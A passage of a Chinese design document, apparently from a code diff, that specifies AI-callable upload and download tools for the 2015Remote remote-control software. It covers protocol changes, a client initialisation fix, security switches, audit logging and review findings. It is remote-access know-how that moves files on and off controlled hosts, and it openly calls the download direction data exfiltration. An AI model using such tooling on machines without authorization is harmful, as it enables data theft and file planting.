2. CollectLocalFiles({local_path}) 收集本机文件+目录项(目录项在前、子项随后)
3. (overwrite=false) list_files 预检 remote_dir 一层 → 得已存在顶层名 → skip 列表
4. BeginFileUpload(id) 登记会话单设备单传输互斥标记§6.5
5. 同步驱动工具线程内FileBatchTransferWorkerV2(files, remote_dir, cb, f, hash, hmac, opts)
6. ── COMMAND_SEND_FILE_V2 分块流 ───► RecvFileChunkV2 落盘
7. ── COMMAND_FILE_COMPLETE_V2(SHA256)► HandleFileCompleteV2 校验
8. worker 同步返回 → ClearFileTransfer → 返回 files/total_bytes/skipped
```
### 7.4 服务端改动
1. **`McpServer.h`**:新增 `BeginFileUpload(id)`,登记 `FileTransferSession{tool="upload_file", startAt}` 作为**单设备单传输互斥标记**(与 `m_Pending`/`m_FileXferSessions` 互斥,见 §6.5。upload 走主连接、工具线程**同步**驱动 `FileBatchTransferWorkerV2`,会话**无** `fmSubCtx`/`streamSubCtx`/`fileEntries`/`done` 等字段(`ClearFileTransfer` 对空指针安全)。
2. **`McpServer.cpp`**
- `BuildUploadFileInputSchema/OutputSchema` + `BuildUploadFile(...)``tools/call` 分派);
- 无头回调 `UploadSendChunkHeadless(user, chunk, data, size)`:经 `UploadCallbackData{parent,clientID,deadline}``parent->FindHost(clientID)` 定位 ctx → `ctx->Send2Client(data,size)`;客户端离线或整体超时返回 false 中止(镜像 GUI `SendFileChunkToClientV2`,去掉 `dlg` 进度,见 `2015RemoteDlg.cpp:7424-7459`
- 收集:本地 `CollectLocalFiles` 递归(`common/file_upload.cpp:38``ExpandDirectories` 未在 `file_upload.h` 导出,故在 McpServer.cpp 本地同构实现,目录项在前、子项随后);
- overwrite 预检:复用 `list_files``COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST→COMMAND_LIST_FILES→TOKEN_FILE_LIST` 机制列 `remote_dir` **一层**(顶层名,不递归),过滤同名 → `skipped`
- 驱动:`FileBatchTransferWorkerV2(files, remote_dir, &cb, headlessCallback, nullptr, GetPwdHash(), GetHMAC(100), opts)``opts.transferID=GenerateTransferID()``srcClientID=0``dstClientID=clientID``enableResume=false`
- 完成判定:`result==0 && FindHost(clientID)!=nullptr`(镜像 GUI `SendFilesToClientV2Internal` 末尾)。
3. **`2015RemoteDlg.cpp`MessageHandle****零改动**。
4. **`McpSettingsDlg.cpp/.h`**:零改动(`McpFileTransfer` 已存在§8 复用)。
### 7.5 完整性边界(诚实声明)
- V2 无接收方→发送方 ACK客户端 `HandleFileCompleteV2` 校验失败只打日志(`RecvFileChunkV2` 返回 8`KernelManager.cpp:1381` 不回传主控)。
- **P2 的 `output.files[].sha256` 恒为空串**`FileBatchTransferWorkerV2` 内部会为每个文件自算 SHA-256 并写入 `COMMAND_FILE_COMPLETE_V2` 包发给客户端,但该值**不回传调用方**;服务端侧又无导出的 SHA-256 工具函数可自行复算。故 P2 输出不填 sha256延后 P3worker 回传哈希,或服务端引入 SHA-256 工具)。传输完整性仍依赖客户端本地 `HandleFileCompleteV2` 校验(与 GUI upload / C2C 同权,属 V2 协议既有边界,非 MCP 引入)。
- 若未来需要「接收方验真回执」,需新增反向 ACK 包(协议扩展,进 P3
### 7.6 overwrite 语义
- `overwrite=false`(默认):发送前用 `list_files` 预检 `remote_dir` **一层**(顶层名,不递归),本地顶层项名已存在者整体跳过(单文件精确、目录整体跳过),文件条目计入 `skipped`(目录项不计)。编码 UTF-8→ANSI(936),与 `list_files`/`download_file` 一致。
- `overwrite=true`:全量发送(客户端 `RecvFileChunkV2` 覆盖写)。
- 代价:一次预检往返;对称于 download 的「本地同名跳过」语义。
### 7.7 安全
- 门槛 `McpFileTransfer=1 && McpReadonly=0`§8upload 写远程盘,复用「允许写」主开关。
- `remote_dir` 路径规范化(防 `..` 穿越到预期目录之外)。`local_path` 是主控本机路径(信任本地文件系统),主要风险是 AI 误推敏感文件/覆盖远程关键文件——由 `McpReadonly=0` + 审计兜底(与 `terminal_*`/`remote_*` 同款「开关+审计」,不加目录黑名单,见 §12.1)。
### 7.8 客户端改动(实施期修正,评审见 §13.1 U7
`RecvFileChunkV2` 依赖全局 `g_status==1``SimplePlugins/file_upload.cpp:2812` `if (!g_status) return -1;`),但客户端**主连接此前从不初始化文件传输模块**——`InitFileUpload` 只在 `FileManager`/`ScreenManager` 构造里成对调用(下载/屏幕方向),上传走主连接时 `g_status==0`,每个 chunk 都被 `RecvFileChunkV2` 直接丢弃(表现为落盘 0 字节 / 截断)。
修法:在 `client/KernelManager.cpp``COMMAND_SEND_FILE_V2` 分支加**懒初始化**(进程内仅一次):
```cpp
static bool s_v2RecvInited = false;
if (!s_v2RecvInited) {
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
s_v2RecvInited = true;
}
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, nullptr, m_hash, m_hmac, m_MyClientID);
```
要点(独立评审结论,均为安全):
-`FileManager.cpp:40` 的 Init 参数**逐字节一致**`{}`, `m_LoginMsg`, `m_LoginSignature`, 64, 50, `Logf`),不新增路径。
- `static` 保证进程内只初始化一次,主连接重连(`ClientDll.cpp:660/665` 反复 `SAFE_DELETE`+`new CKernelManager`)不反复 Init/Uninit`~CKernelManager` 保持原样**不** `UninitFileUpload`,故 `g_threadCount` 从 1 起永不归 0`g_status` 恒为 1。
- `InitFileUpload` 幂等(`g_fileStatesMtx` + `g_threadCount` 引用计数,二次调用 `g_threadCount>1` 早退)、非阻塞(仅置标志 + 派生 detach 线程、license 校验在启动期 `licenseInit()` 后必过、`verifyMessage` 对空签名 `return false``license.cpp:244`)不会越界。
- 影响面:主连接 `OnReceive` 无 V1 `COMMAND_SEND_FILE` 分支,`g_status=1` 只作用于 `RecvFileChunkV2``FileManager`/`ScreenManager` 的成对 Init/Uninit 只是在 1↔2 间震荡,语义不变。
---
## 8. 安全门
| 工具 | 定性 | 门槛 |
|---|---|---|
| `download_file` | 不改远程状态,但**数据外带** | `McpFileTransfer=1`(仅此一开关;**不依赖** `McpReadonly`,与 `list_files`/`get_screenshot` 同权) |
| `upload_file` | **写远程盘** | `McpFileTransfer=1` **且** `McpReadonly=0`(复用既有「允许写」主开关) |
- **只新增一个开关 `McpFileTransfer`(默认 0**download 只看它upload 额外要求 `McpReadonly=0`。决策依据见 §12。
- `tools/list` 据此隐藏两个工具(与 `exec_command`/`terminal_*`/`remote_*` 同款开关判断)。
- 审计:`host_id + tool + remote_path + local_dir + 结果`,写 `Mprintf` + 审计日志。
---
## 9. 改动文件清单
| 文件 | 改动 |
|---|---|
| `server/2015Remote/McpServer.h` | `FileTransferSession` + 注册表 + 8 个接口声明 |
| `server/2015Remote/McpServer.cpp` | `download_file` schema/实现 + 会话状态机 + 路由分支 |
| `server/2015Remote/2015RemoteDlg.cpp` | `MessageHandle``COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 两处守卫分支 + `TOKEN_DRIVE_LIST``OnDriveList` 扩展;`TOKEN_CONN_AUTH` 不动 |
| `server/2015Remote/McpSettingsDlg.cpp/.h` | `McpFileTransfer` 配置项 |
| P2`server/2015Remote/McpServer.h` | `FileTransferSession.tool``"upload_file"`;新增 `BeginFileUpload(id)`(单设备单传输互斥标记) |
| P2`server/2015Remote/McpServer.cpp` | `upload_file` schema/实现:无头回调 `UploadSendChunkHeadless` + `CollectLocalFiles` 收集 + overwrite 预检(复用 `list_files` 链路)+ 驱动 `FileBatchTransferWorkerV2`(复用主连接,无子连接路由) |
| P2`client/KernelManager.cpp` | `COMMAND_SEND_FILE_V2` 分支加懒初始化 `InitFileUpload``g_status` 由 0 置 1见 §7.8 |
**客户端**`UploadToRemoteV2` / `RecvFileChunkV2` / `FileBatchTransferWorkerV2` 均已存在、未改动;仅 `COMMAND_SEND_FILE_V2` 分支新增懒初始化(见 §7.8)。
---
## 10. 分阶段实施与回滚
- **P1**`download_file` + `McpFileTransfer` 开关 + 路由分支。可独立合入、独立验收真实主机拖回一个目录SHA-256 与 `certutil -hashfile` 比对一致)。
- **P2**`upload_file`§7主连接复用 + 发送方驱动,`MessageHandle` 零改动。可独立合入、独立验收推一个目录到真实主机SHA-256 与源文件 `certutil -hashfile` 比对一致)。
- **P3**(可选):断点续传(需先验证服务端续传状态落盘;文件管理器侧现 `enableResume=false``client/FileManager.cpp:1164`)、大文件进度流式上报。
- **回滚**:改动集中在 `McpServer.*` + `MessageHandle` 三个 `if` 分支revert 当期 commit 即可,不影响既有 GUI 文件管理器。
---
## 11. 测试点
- 单文件 / 目录含中文名、深层嵌套下载SHA-256 与 `certutil -hashfile` 比对一致。
- `overwrite=false` 同名跳过;`local_dir` 不存在自动创建。
- 路径穿越:`remote_path``..` 或 chunk 文件名逃逸 `local_dir` 时被拒。
- 大文件(>2GB超时与断线并发下载同主机返回 `-32003`
- 编码GBK 中文文件名往返无乱码(与 `list_files` 同规则)。
- 断线收尾:传输中客户端掉线 → 会话擦除 + 半成品删除,无句柄/内存泄漏。
- **上传P2**:单文件 / 目录(含中文名、深层嵌套)上传;`remote_dir` 不存在自动创建SHA-256 与源文件 `certutil -hashfile` 比对一致。
- 上传 `overwrite=false` 同名跳过(`skipped` 计数);`overwrite=true` 覆盖。
- 上传 `remote_dir``..` 逃逸被拒;大文件(>2GB超时与断线并发上传/上传-下载同主机返回 `-32003`
- 上传编码GBK 中文文件名往返无乱码。
---
## 12. 决策记录(以「简单易用」为原则)
原则:最少开关、最少认知负担、复用既有机制、不为低频场景预留复杂度;只有威胁模型确实需要时才加复杂度。
### 12.1 download 数据外带 → **不加目录白名单,信任 `McpFileTransfer` + 审计**
- **威胁模型**MCP 默认 `127.0.0.1` + token「数据外带」的实际顾虑是 AI 误操作或提示注入。但一旦开启 `terminal_exec`(全 shell、无白名单外带通道远大于 download目录白名单对已开终端者是冗余防御。
- **一致性**`terminal_*` / `remote_*` 均只有开关 + 审计、无路径白名单;给 download 单独加白名单是特例,增加解释负担。
- **简单**:工具契约保持 `id + remote_path + local_dir`,不引入「允许根目录」概念。
- **逃生舱**:若未来确有需要,复用 `McpCmdWhitelist` 那种**单字符串**配置作可选收紧项,进 P3不进 P1。
### 12.2 大文件模型 → **P1 同步 + 大超时,收窄到单文件/已打包目录**
- MCP 是 request/response为一次性传输引入「提交任务 + 轮询进度 + 任务清理」违背「简单 + 每阶段独立可交付」。
- 核心场景(先压缩成单 zip 再拉回)天然是单文件,同步足够;`get_screenshot` 已先例式地内联返回字节。
- 异步任务模型进 P3且**只在确有超大流式需求时**才做,不预建。
### 12.3 upload 开关 → **单一 `McpFileTransfer`upload 复用 `McpReadonly=0`**
- `download_file` = `McpFileTransfer=1`(不依赖 `McpReadonly`):它只读远程,与 `list_files`/`get_screenshot` 同权readonly 语义本就只拦「改远程」。
- `upload_file` = `McpFileTransfer=1 && McpReadonly=0`upload 改远程,复用既有「允许写」主开关,与 `terminal_*`/`remote_*``X && !Readonly` 模式一致。
- 只新增 **1 个**开关;代价是「不能只开 upload 不开 download」——这是可接受的简化无人有此诉求
---
## 13. 专家审查记录(实施前)
原则优先级:① 对既有功能影响最小 → ② 简单易用 → ③ 优先 V2。逐条核对了 `2015RemoteDlg.cpp``MessageHandle` 分派、`client/FileManager.cpp``SimplePlugins/file_upload.cpp` 的实现,结论如下:
| # | 审查发现 | 结论 |
|---|---|---|
| F1 | 路由机制比草案更简单:`COMMAND_SEND_FILE_V2`(`5842`)/`COMMAND_FILE_COMPLETE_V2`(`6101`) 本就按 `ContextObject->GetClientID()` 分派,流式子连接经 `TOKEN_CONN_AUTH`(`6411 SetID`) 钉住 clientID | **无需 context 路由表**。改为 `device_id` 键 + 两个 case 顶部的 `IsFileTransferPending(devId)` 守卫,`TOKEN_CONN_AUTH` 完全不动 |
| F2 | 一次性 `m_Pending` 与新增文件会话可能并发冲突(同 host 双工具) | `BeginFileTransferPending``m_Pending` **双向互斥**,同 host 全 MCP 工具单飞 |
| F3 | 文件管理器子链接发完 `CMD_DOWN_FILES_V2` 后即无用(数据走新流式子连接) | `OnDriveList` 发完命令即 `CancelIO` 该子链接;客户端 `UploadToRemoteV2` 用独立 `IOCPClient`,不依赖它 |
| F4 | 完成信号是**每文件一个** `COMMAND_FILE_COMPLETE_V2``FileCompletePacketV2.fileIndex` | 会话记 `totalFiles`(首 chunk/`filesDone`complete 计数),`filesDone==totalFiles` 才算 done |
| F5 | `RecvFileChunkV2` 内部直接按 chunk `filename` 落盘 | MCP 在调用**前**校验 `filename` 规范化仍在 `local_dir` 内,逃逸即取消传输 |
| F6 | `RecvFileChunkV2` 需正确 `hash/hmac` | 镜像 `FileManagerDlg.cpp:2755``GetPwdHash()/GetHMAC(100)`;客户端 M2C `hmac` 为空(`FileManager.cpp:1167` |
| F7 | 三处改动均为「加 if 守卫 + 现有逻辑作 else」C2C 分支不动 | 结构性满足原则 #1,对既有 GUI/C2C 零影响 |
**判定**7 项问题均已在正文对应章节修正,无阻塞项,**定稿**。
### 13.1 upload_file 评审记录P2实施前
核对了 `2015RemoteDlg.cpp``SendFilesToClientV2Internal`/`SendFileChunkToClientV2`GUI upload 发送方)、`SimplePlugins/file_upload.cpp``FileBatchTransferWorkerV2`/`RecvFileChunkV2``client/KernelManager.cpp:1381` 的接收分支,结论:
| # | 审查发现 | 结论 |
|---|---|---|
| U1 | 旧稿「服务端等客户端回 `COMMAND_FILE_COMPLETE_V2`」方向写反 | COMPLETE 恒由**发送方**发、接收方 `HandleFileCompleteV2` 校验,无 ACK 回传。upload 服务端是发送方 → **发** COMPLETE不是「等」 |
| U2 | upload 走**主连接**`ctx->Send2Client`),不像 download 要客户端新开鉴权流式子连接 | `MessageHandle` 零改动;无需 `IsFileTransferPending` 路由守卫、无需 `OnFileCompleteV2` 收包计数 |
| U3 | 复用 `FileBatchTransferWorkerV2` 时回调需无头版 | 镜像 GUI `SendFileChunkToClientV2` 去掉 `dlg` 进度,`m_parent->FindHost(clientID)` 定位 ctx离线返回 false 中止 |
| U4 | 完成判定无接收方回执 | `result==0 && FindHost(clientID)!=nullptr`(与 GUI `SendFilesToClientV2Internal` 末尾一致);`output.sha256` 恒为空串,非接收方验真(见 §7.5 |
| U5 | `overwrite=false` 需预知远程同名文件 | 复用 `list_files``COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST` 预检 `remote_dir`,过滤同名进 `skipped` |
| U6 | 本地文件收集 | `common/file_upload.cpp:38` `ExpandDirectories` 未在 `file_upload.h` 导出,改为 McpServer.cpp 本地 `CollectLocalFiles` 同构实现(目录项在前、子项随后) |
| U7 | 实施验证发现:客户端主连接 `g_status==0``RecvFileChunkV2` 逐 chunk `return -1`(上传落盘 0 字节/截断) | 客户端 `COMMAND_SEND_FILE_V2` 分支加懒初始化§7.8`static` 一次 + 永久引用计数、析构不 `Uninit`;与 `FileManager.cpp:40` 参数一致,独立评审确认无稳定性风险 |
**判定**7 项均已写入 §7 对应小节,无阻塞项,**定稿**。

Some files were not shown because too many files have changed in this diff Show More